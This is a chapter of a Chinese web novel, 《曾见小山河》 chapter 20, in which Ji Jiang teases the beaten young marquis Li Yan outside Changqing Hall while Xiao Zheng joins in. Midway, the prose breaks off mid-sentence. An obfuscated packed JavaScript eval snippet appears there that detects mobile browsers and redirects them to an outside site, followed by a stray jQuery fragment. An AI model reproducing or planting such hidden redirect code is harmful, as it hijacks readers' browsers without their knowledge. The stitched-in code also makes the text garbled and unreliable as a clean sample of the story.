20. 捉弄李兖

作品:《曾见小山河

    长清殿外的廊道很长,槅窗外覆一层薄薄的窗纸,光如琉璃般渗透进来。


    长廊明亮通透,季姜的湖绿裙角擦过廊道地面,还没走出多远,便被身后的人喊住。


    “孟六娘子。”


    季姜转身,萧峥小跑着追上她。


    他不说话,季姜了然地扫他一眼也不开口,两人便并肩往外走。


    临到门口,季姜方才看向身侧的人。


    少年姿容本就精致俊美,光下一照更犹如天外谪仙般惑人,他长睫微微眨动,因她的注视转过身来。


    光照刺眼,季姜微微眯起眼来,笑问:“殿下还有事?”


    “无事啊,”


    萧峥耸耸肩,“只是闲得无聊,想看看你找阿驷弟弟聊些什么?”


    季姜故作惊讶地‘啊’一声,掩唇笑道:“没想到殿下还挺关心小侯爷的,看不出来,还真是兄弟情深呢。”


    萧峥没想到她敢当面讥讽自己,一时涨红了脸。


    美人脸红,更美了。


    季姜垂眸挽了挽搭在臂弯上的披帛,转身走远。


    “那就一起来吧,同道中人。”


    听见季姜最后一句笑言,萧峥又被她气笑,抬步跟上去。


    “疼疼疼,真的疼,你们敢动手打我,都给小爷洗干净脖子等着,看我明日怎么收拾你们!”


    “啊啊,别打了,圣人,我错了,这次真的知错了,再也不乱跑了,”


    “孟昭妗,孟昭妗你给我出来,我要一脚踩扁你的头,我叫你.....”


    门外,李兖还在鬼哭狼嚎,不知道实情的还真道把他打出了什么好歹。


    实在想看李兖挨打的样子,萧峥走得很急,他一脚迈出殿门,还没站稳便被身后的季姜轻扯了下。


    他转身,宽袖上的手已经收了回去,只见季姜在殿柱后站定,抬臂朝他招手,示意他回来。


    “作甚?”萧峥收回脚,转到殿柱后面。


    季姜两手拢在唇边,踮脚凑近萧峥耳旁,强压着笑低语。


    她比萧峥矮一个头,即便踮起脚尖也还是差点距离,萧峥注意到便稍微弯了弯身。


    待季姜说完,萧峥直起身,半眯着眼打量眼前的人。


    眼前小娘子脸色依旧苍白,纤细的身子看上去也瘦弱,可她却奇怪的丝毫不显病气,双目难掩捉弄人的狡黠,似乎比身子康健的小娘子还要活泼几分。


    萧峥看着她,眼底笑意中浮现出一丝疑惑。


    “你真不怕李兖缓过来以后杀了你?”


    “你怕?”


    “我若是怕我还会跟来吗?”


    “那你啰嗦什么?”


    “......”


    两人就此分开,各自行动。


    李兖的喊声实在太密,且常听常新,骂人的话都不带重样的,季姜站在殿门里听了会儿,才终于插上话。


    “原来,小侯爷也会喊疼啊?”


    李兖猛地消声,满脸震惊地抬头。


    只见季姜学着他方才的样子,抱臂倚在殿门处,见他望来,还挑衅又逗趣地挑了挑眉。


    她性情本就灵动,这动作做来也丝毫不显做作,还意外地抹去了几分原本的病弱,明媚如枝头第一束迎春花。


    打了太久,李兖俨然忘了这次殿中不止有帝后,还有一个季姜,在这样狼狈的情境下,他撒娇撒泼时听到季姜充满嬉笑的声音,还抬头看了过去......


    ......他只想死。


    只一瞬,李兖浑身力气尽数散去,像朵被晒蔫儿了的火红扶桑花,缓缓垂下头去,他手腕触及地面,全身松散下来,不看也不听,干脆装死。


    有帝后撑腰,季姜觉得自己腰杆子都更直挺,她走上前去,先扫了一遍李兖伤得如何,才俯身笑问:“小侯爷怎么不说话?”


    李兖“......”


    “哦对了,瞧我这猪脑子,打了这么久小侯爷应该渴了吧?”


    李兖明明没开口,可季姜却自导自演起来。


    她直起身朝后面跟她出来的宫人一笑“劳烦姐姐去殿里给小侯爷倒杯茶水来。”


    宫人闻言看了眼趴着一动不动的李兖,最终还是施礼退下去。


    还没走几步,就听季姜补道:“姐姐还是沏杯凉茶来,也好叫小侯爷喝了去去火气。”


    她最后四个字咬得极重,李兖听得额角青筋直跳,从牙缝中闷闷挤出一句。


    “孟昭妗,你别欺人太甚了!”


    李兖抬头,抹额歪斜,束发散乱,被粘黏的汗水粘在脸上,本是一副狼狈模样,却被那双深邃的星目衬得透出几分凶狠来。


    但季姜这会儿可不怕他。


    “这就欺人太甚了?”


    她惊讶地转头看向李兖,“你莫不是中原话不大好,用错词了吧?”


    又被嘲一句,李兖双手重重捶向地面。


    他别过头强忍怒气,微卷的发间翘起一朵杂毛,像只不想理人的小豹子。


    季姜一下被逗笑,她忽就更不怕李兖了,反倒在他面前的空地上盘腿坐下来。


    湖绿裙摆如清荷般散开,荷中生出的不是苦莲,而是一株笑意明媚的芙蓉。


    廊下清风徐徐,馨香拂面。


    李兖察觉到季姜的靠近,身子微不可查地往后一退。


    因挨打有些汗湿松散的束发擦过地面,银饰擦刮,发出一阵只有他自己能听到的脆响。


    季姜以为他不舒服,又仔细看向他挨棍子的地方。


    李兖今日穿件朱紫间色的半肩箭袖胡服,大红大紫的衣色根本瞧不清伤口是否出血,季姜便又往侧面探身想仔细瞧瞧。


    李兖第一时间感觉到她诡异的动作,他微微抬头,微红的脖颈仰出一弯劲力的弧度。


    他顺着季姜的目光向后看去,最后落在了


    ——自己因肿胀而挺翘的屁股上!


    “你......孟昭妗!你往哪儿看呢,你你你......”


    李兖又羞又怒,星目圆睁瞪向季姜。


    他张着嘴你你你了半天却说不出什么,想往后伸手护住自己的屁股,手腕却还绑着,只挣得伤口阵阵发疼。


    最后李兖整个人都哆嗦起来,眉峰紧皱,唇色越发苍白,眼底溢出羞愤,激荡的怒火充斥着整个胸腔,直烧得他脸色通红。


    “李兖,你这......这是怎么了?哎,我我可没碰到你啊......”


    季姜见此以为他有什么隐疾,一通棍子下去给他引出了什么病症.


    她当即摆着手惊恐地往后蹿出几步。


    “没事吧,你脸都红了,你......你先别这么激动......”


    季姜强撑着安抚了李兖几句,就要起身“你等着,我......我去给你找人来?”


    “孟昭妗,你给我回来!”


    “孟六娘子有吩咐,交待我等就是。”


    李兖和千牛卫的声音同时响起来,一个怒到极致,一个憋不住笑。


    意识到还有别人在,季姜恍然抬头。


    周围一众千牛卫想笑又不敢笑,只是脸上都不曾有半分惊惧担心,领头的那个尽量冷肃起一张脸,放下棍子上前来叉手给季姜行礼。


    季姜慢慢回过味来,朝他还个半礼,然后低头看向李兖。


    他好了很多,耳朵、脖子还是红,但至少脸上不再那般吓人。


    季姜心下稍安,又重新坐回去。


    “你装的?”她犹疑道。


    “我贱,我在你面前装成这样,让你……”看我屁股。


    李兖语气冲怒。


    一旁领头的千牛卫实在看不下去,走上前来,他先看看李兖,见少年双眼冷冷的盯着自己,他使劲抿住唇角才向季姜道:“六娘子莫担心,小侯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425725|153703||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爷就是......就是太疼了。”


    “你......”季姜信了,转头看向李兖的目光满是惊讶,“你一个练武之人,身子竟也这样娇弱。”


    娇弱!


    李兖忍耐地闭了闭眼,手攥得咔咔作响。


    “难怪,我方才一凑近便闻到小侯爷身上的熏香味道,没想到小侯爷还好此道啊。”


    “那是七哥的熏香。”李兖忍无可忍。


    听到这话,季姜难得的敛笑愣住了。


    难怪这香味有些熟悉,与她回京时在马车上闻到的很像,原来都出自萧岺。


    想到那位殿下,季姜心底有一瞬的惭愧。


    扬州那夜萧岺也算是帮过她,可不知是二哥和五叔忘了还是怎的,都不曾提起给萧岺道谢,她虽不能经常出门,可到底萧岺是帮的她,旁人可以不念他的好,可她不能不念。


    看李兖对慈安的态度,萧岺在宫中过得如何可想而知。


    她还是要找机会帮帮他。


    萧峥还没回来,季姜想着事也忘记逗趣李兖。


    廊下微静,两人一坐一趴,以一种诡异的姿势相对着。


    艳阳灼眼,季姜展袖遮挡,眼神微抬间目光落在身前李兖罩出的阴影上,再向上,落在少年白皙的下颌,下颌处似乎有一道小小的疤痕。


    李小侯爷娇生惯养,怎会有疤呢,季姜抬头,第一次有兴趣打量眼前的人。


    李兖生气不愿理人故而只垂着头,从季姜的方向,最先入眼的便是他独特的束发。


    与一般长安少年不同,李兖高束的马尾长及腰际,有银绳弯曲缠绕进辫发里。


    垂到腰间的发尾上带薄叶刺金银饰,行动间叮铃作响,人未到声先至,阳光下一照,更是极致的耀眼。


    就与他这人一般,绚烂张扬。


    季姜安静瞧着,忍不住伸手想要触碰李兖垂在发间的刺金银饰。


    许久没人说话,李兖先沉不住气地抬头。


    不防季姜正在打量自己,他一抬头便撞进她清澈的双眼,细看下她眼底竟有几分不常见的呆愣。


    李兖眼睑微垂,顺着季姜的胳膊一直看到她的苍白的指尖,待看到她指尖要去触碰的地方,他忽地笑出声。


    这一笑,叫少年本就秾丽异域的脸更亮眼起来,仿若开在雪原蓝天下的嫣红扶桑,天地的冰寒耐不住他,扎根破土后便能在广袤雪原上绵延成片的火。


    少年笑声朗朗,边笑边问季姜,“好看吧?”


    墨发轻晃,银饰冰凉的触感撞在季姜指尖,她忍不住蜷起手指,快速收回手来。


    听到李兖戏谑的笑问,季姜心中着恼,仰头对上他,却不知不觉又被他身上的新奇吸引。


    李兖正侧头看她,脑后三缕用五彩细绳扎住的长生辫垂下来,似乎有一股还短了一截,与其他两股有些格格不入。


    趁李兖双腕被缚,季姜眉眼一弯,笑着捻起李兖短一截的长生辫。


    李兖见此愣住,冷硬道:“你给我放下。”


    “真好看。”季姜歪头笑道。


    不知答得是李兖方才的嬉问,还是说得手上那截彩绳长生辫。


    不等李兖更怒,季姜忽然轻轻扔开手里的长生辫,皱眉道:“不过还差一点。”


    “什么?”


    “还没准备好吗?”季姜转头问殿内。


    两人同时出声,声线相撞时又转头瞪了对方一眼。


    长清殿里,两个宫人各自端着漆木托盘,在殿门处相遇。


    相视点头示意后,两人一前一后来到季姜面前。


    季姜往旁边坐了坐,为两人让开位置,她小手指指其中一人,“这位姐姐先把凉茶喂给小侯爷吧。”


    “我不喝。”


    “小侯爷别急,迟早用得到。”


    季姜又指挥另一个宫人,“殿下必定交代过你了,那就开始吧。”